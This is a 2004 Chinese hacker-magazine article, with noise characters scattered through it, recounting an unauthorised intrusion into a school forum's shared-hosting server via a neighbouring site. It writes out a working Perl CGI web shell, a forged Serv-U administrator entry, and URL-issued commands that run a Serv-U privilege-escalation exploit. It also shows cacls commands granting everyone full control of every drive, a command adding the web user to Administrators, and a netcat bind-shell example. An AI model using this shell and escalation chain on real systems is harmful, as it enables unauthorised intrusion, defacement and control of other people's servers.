剑走偏锋——灵巧的旁注攻击
4 n# o0 T5 g5 \本文作者:angel3 l% R1 k* \7 [
文章性质:原创
4 @, x9 q4 _% }5 X. G发布日期:2004-11-09 / C2 G" M4 }# x- l( m0 O8 o" a9 r* Y
注意:
, g5 u, \9 R' ]& d, \本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
. K' f' ]& E2 \5 {本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& h4 i! b. C) Y8 f, u
: k1 a& a% ~* e; H9 r8 J6 ` 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ' _$ i& X- O; Y, Q* j( K
, y; U7 {! J% e1 [# P+ P 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 2 Y, ?( `; Y* A; b. w" m
! O3 x$ _4 n. [0 ^
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! v& v+ W' }( j3 Q: @& {( S2 G Q+ R2 F' P1 S4 p! W: N2 T/ o( H& }
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
- U% b' {7 n p
5 K' ^6 }1 n) Q+ t( @- _ 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 / n9 ? z, R4 Y+ t7 w$ u3 c( k
6 o( }: b0 h( K6 S, T 没有目的的跳转目录着…… 3 A0 k# U7 {% a, i; q( r
: I3 E1 |4 S7 q+ Z' j 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
2 Z7 _7 n! Q# ]. k4 `9 g1 \! ~& y6 Q
结束了吗?不,我试着 FTP 一下:
! l) G# `7 e1 k" |1 _" G) \9 V( [( w' k: ^
Microsoft Windows 2000 [Version 5.00.2195]
5 E. R3 o% Q& D(C) 版权所有 1985-2000 Microsoft Corp.
4 }4 z9 B, |3 Z$ Z$ v$ t% X9 p" I+ r' H; Y9 I
C:\Documents and Settings\Administrator>ftp www.school.com
0 r/ I! e/ ?; \Connected to www. school.com. 6 V L# Y) b. b5 V. R3 W
220 Welcome to FTP Server... ^" I# a. w2 s1 H: ^! S/ W
User (www.bjtrq.com:(none)): * k. {# f" Q: A
331 User name okay, need password. ( F/ C) Z( R& d# y3 \# m' l' [
Password: $ n, v+ }. z! _; Z( w: X" g
530 Not logged in. 7 N9 Y' ~0 F0 a2 w$ O
Login failed. , p& F/ ~; I/ u# c$ L) w
ftp> bye ; \$ l5 l( A2 Q1 x" l! e0 J
221 Goodbye!
7 V' q1 @# k. y . J, [4 q+ J$ V% I! R
6 t8 R5 {3 ^$ Z% ~5 V3 O 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… : r. ?! a: {1 S
* U$ e% M' b1 \' q% S: V 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
' U2 K8 V* i$ j
" u/ ^9 Y: T; [; x1 PApplication Data% X. P- l0 F* L; t3 `/ [# c0 W
Documents# K# Z6 y* A/ x/ @8 q& n
DRM. w" A& R8 I+ _
Favorites
- h5 g: c% Q" J- G4 RTemplates' N3 l7 _/ f* Q" S" l' c' G+ s
「开始」菜单
. q/ s, L: ]: j7 Q: f9 Y桌面7 A2 y$ @, P0 ^
: a& q1 Q( @6 R
: g5 O( M# z0 @+ O) R9 q$ Q! c 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, # x0 h! m3 ~8 T5 R- I2 c6 h
" l( P, b* v, t0 V
ActiveState ActivePerl 5.8
3 \. I! N6 H& k# d" GAdministrative Tools
, g) o8 O" Z5 ~, ]* rDeerfield.com
* ?8 P# ], E9 S% x$ z: y: iDTemp
7 y7 i4 B- i9 e- w/ pIPSentry
4 [; ~: z: b" ?% z5 BMBM 5
- D/ S- g& Q( u0 r6 pNetMeter
: c( \( a v* p. v$ u: WNetwork ICE
5 l7 z" I! K- h; J# X1 OPersits Software AspEmail9 C* `; u5 ~$ ?
Persits Software AspJpeg
% j% ?9 e4 }7 p% b( kServ-U FTP Server' ^, m+ L: w7 P4 m: @6 @
Symantec Client Security
/ r9 S- `+ P: g1 u8 w) _7 eWindows 优化大师
# E0 @6 F7 n- c& o/ m" JWinRAR1 {$ Z, w1 E+ A+ P- y: }
启动
, D" g- @! k% `4 R管理工具; P* f! o' _: p$ A3 A( A+ [7 n
附件2 n1 ^: [% w2 U ?
; {1 F2 K8 z* p7 |. E/ b$ w% B D2 g3 N& B
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 4 n1 W7 B2 S0 i2 z! M2 w1 r7 T
: s- j" y3 }# _- `2 s 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
5 r6 W/ ]8 S n- \% \& N, `. G# L0 T9 n" }1 K; p
User281=angel|1|0 0 Z, x% r0 L! Z- z8 ?) w/ j
0 N# F: z, M) a1 Y- _
5 O% k" ^; n+ ?
然后加上
1 R3 _4 F9 Q- l) {, Q5 G9 B
/ I5 `" ?4 Q* ~6 p[USER=angel|1]) n; Z l+ w( _/ B% T' a
Password=ng98F85379EA68DBF97BAADCA99B69B805) f% c2 @/ d1 a1 R2 ~5 g$ a
HomeDir=D:\websites
* `" n. E% f& e! f# p. A. s' CRelPaths=1# r& ^- G( n2 t* V- C* x
TimeOut=600( b3 L# i5 B. L
Maintenance=System( X2 u- g8 y; | B$ W- q! t
Access1=D:\websites|RWAMELCDP
+ a& u( J1 @$ [/ Q) J6 HSKEYValues=" H* |) P! O7 ^* X6 ~" T V+ z
/ L5 Y" p6 x: U: N4 W! T2 W
+ Z* h, f/ J' c 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
( {8 D" L3 {9 o! Z& N
6 A1 i6 j) ]2 A$ F7 B. z7 x 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" }% ]# Y4 e# j+ F
& f8 Z- J. d' I6 U# V' }! p 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
2 F, T/ X2 n# q4 \; s2 j% I& R6 K9 J0 B. L: ~2 T' F% G/ U6 e
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: & ~" P, f$ d. c) T
1 l1 o q( g: K! ]) n#!/usr/bin/perl; r# ? @, Y4 V6 p2 H( F
binmode(STDOUT);9 u" K. g6 Z5 K/ S
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);& @6 p2 n G8 a3 V
$_ = $ENV{QUERY_STRING};
: F; T7 k. A: X b1 A* k! g* Ms/%20/ /ig;7 W- _6 l G: C- j- }
s/%2f/\//ig;
i. O- d5 `3 y& q7 o0 @$execthis = $_;
I7 e! R9 f( [! s7 I/ ]! D! ^3 Gsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);) p2 y9 a3 z& ^5 B9 k* H
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
3 `6 H# q) G& Ssystem($execthis);2 h. S7 e4 w& I g& G: d" `- s
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);" }' b7 @6 |5 e& V! F' b
close(STDERR);. T( n4 H" d Y; }+ W4 p, c
close(STDOUT);
6 U( i, B2 Z/ E+ ^$ Yexit;
" O' I- r8 D6 l, @! M ' |6 L3 J* B3 q) m6 _: C
6 p1 _' s5 [+ }0 ? d
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
, q, z9 h6 `: E& M+ k
; q& I0 ^9 D- f. _1 n h 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
: m- v; @& f& u& d5 l) p: e& Q- l) z! p; W3 u T, K# a8 V
http://anyhost//cmd.pl?d:\user\bin\su.exe
6 b8 T! k2 `) H9 {* p0 n$ [ ; _6 H& ~% U! s' X$ f- W
" R4 l8 u. q" G# N9 T
返回:
& k) n! h6 \& I6 }- Q
' }. K; d5 A8 \$ rServ-u >3.x Local Exploit by xiaolu
+ A! g8 \" D$ l( {0 m
- n" t& O1 v, h& J* j/ @- F4 W: wUSAGE: serv-u.exe "command" ; Z6 f7 S8 W5 b: Z: A% R5 S' F
5 [4 Z9 L J+ bExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 7 e3 t! X$ y1 J( H7 `
9 ? n" h+ P# L
9 N. {# b. p* s B5 q! `2 ^) W; Y
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ! h! I; l3 ^: o7 m% u- g5 V4 ` N6 f
" F R. w( ]. Q9 Q, |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
/ \5 l) E7 J2 ^/ V% ^8 {3 `4 v; t! B; D& z$ g& ?. [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
& M+ \' T4 E) b, z- ?7 Y4 h
& S8 j& ?+ f! e* Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
2 N% A) P' B! u8 ]4 V6 \9 Q2 p
0 o$ I/ f& h: s' Ohttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
: \/ s; d& ]& t7 D7 O7 B( b% s $ P5 @- h+ L6 s2 ? y `
. s R; Y" e% `9 ~% _: u* w 返回下面的信息,就表示成功了!!!
& L* H. V) b) }# S/ M$ C$ k( x$ v
* w( z- K8 i0 eServ-u >3.x Local Exploit by xiaolu ) a0 ^# o, i, H# Y e
5 Z6 m$ M. ?" Z
<220 Serv-U FTP Server v5.2 for WinSock ready...
! i/ C# k o# v0 j a" a
- d- J$ U* K, d2 O6 n; Q>USER LocalAdministrator ) ~3 \8 d# J; P$ w
# S! {5 c$ Y8 b/ W
<331 User name okay, need password.
+ x) ~( N2 A9 Y" L9 T. W- o3 I: x Q7 P/ n3 G7 u
****************************************************** 7 z0 c: T* r, Q; _1 F: G
" i1 K8 B. Q. q+ ?( I/ U1 n>PASS #l@$ak#.lk;0@P * d0 p- v4 d% K6 H
# Z/ F( J# c) w$ x
<230 User logged in, proceed.
7 w0 ?& Z. ]4 V4 Q! h! i) u3 ?
! V3 C( K) [& R, O****************************************************** & H3 I& Z8 Q" a* V7 R( [$ y
' e# h, E# |5 V" S0 O0 k% M+ G" j5 P>SITE MAINTENANCE
4 l/ ~ Y# j! e( n" q& m2 J/ D8 M
3 ?# y7 j |/ k+ Y2 ^****************************************************** 1 x, N/ X6 c5 N& k2 x7 N' U
# T! | k0 U! R5 O- g[+] Creating New Domain...
w5 F: H% I% C& j( D3 o0 \% d5 u7 S' v/ |) N9 ?" w% `1 D: U' Y
<200-DomainID=2 ' n: N& ?/ F D, C
! K `8 A a% h<220 Domain settings saved
' ~! A4 _% Z! I) O& k- F! `( W- q
******************************************************
/ E! x4 e+ l( K" l& {3 q' C" t" k' f2 h' D# D1 y: z% {6 ^
[+] Domain xl:2 Created
& a: Q. u9 i# `1 j9 _$ \ I% z$ y" t Y( |! o
[+] Creating Evil User ^" C- f. K: g
4 t" Q' u* x* K9 M; |% A/ E
<200-User=xl
, H @ |) J9 w2 ?
; t( d1 e) S2 K' A& X- n" d200 User settings saved
9 S0 P% B! }; j" U3 K/ i: L: y+ K
' p0 y1 I4 r9 C8 L******************************************************
: |0 A. b5 T! s' X) C! Z; O$ D2 L( P" ^8 F. \3 f% V6 H
[+] Now Exploiting... 5 r) D# h2 L8 F- `4 Y9 M
& X% m* [8 K( W0 l2 y9 d>USER xl ( u5 A! ?. a/ e% J5 `
6 x2 ^! p' u# w" D5 W% J; h: s5 S6 x# [
<331 User name okay, need password. 1 Z$ P5 c3 D' _/ u" L
7 K$ U7 |4 U2 v8 B
******************************************************
' Q% g& P; @) o! n9 K/ x' V; i1 q2 Q# @9 s) ?6 U5 J; i/ p6 f
>PASS 111111
; W$ \; f2 B* K: S" C. o# n% p, A S3 Q) [
<230 User logged in, proceed. 3 E# l2 j: S; N, e4 Y: e
# m( G- x5 q! B9 l# N. z******************************************************
* V) v- W2 T# x* |; h+ t9 w: |# Q7 `* K# z7 w
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
$ Q5 q+ M0 E0 ? @: E- @" B( A1 ^* a* d9 H" l( p
<220 Domain deleted
+ u6 a1 @- D6 ~& K" W7 s& K) }: _( h% D8 \" a( |1 f) I9 s
****************************************************** - Q$ o# _! |% G& U9 t4 F
- R6 [+ j9 I1 Y8 K8 L
5 M# q2 G; B; s, D6 `+ p 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 8 Z- f& H" I+ o" Q& {
- u% b2 F4 m( N; E% b; ghttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ b; T! [0 L! v1 |: `: }/ t " ?( x# ^) A) | l: P' e
: K5 g$ `, q1 P: p 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
$ Z' j& w- J- j( x" q8 ^' Y
% |, h% o" g* v1 z& Z 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
# T9 N$ i4 L& b) l
R7 p/ ?- R. n) u0 X7 ^- s
_( A0 S/ O- Y" a/ |2 Q& ]2 { |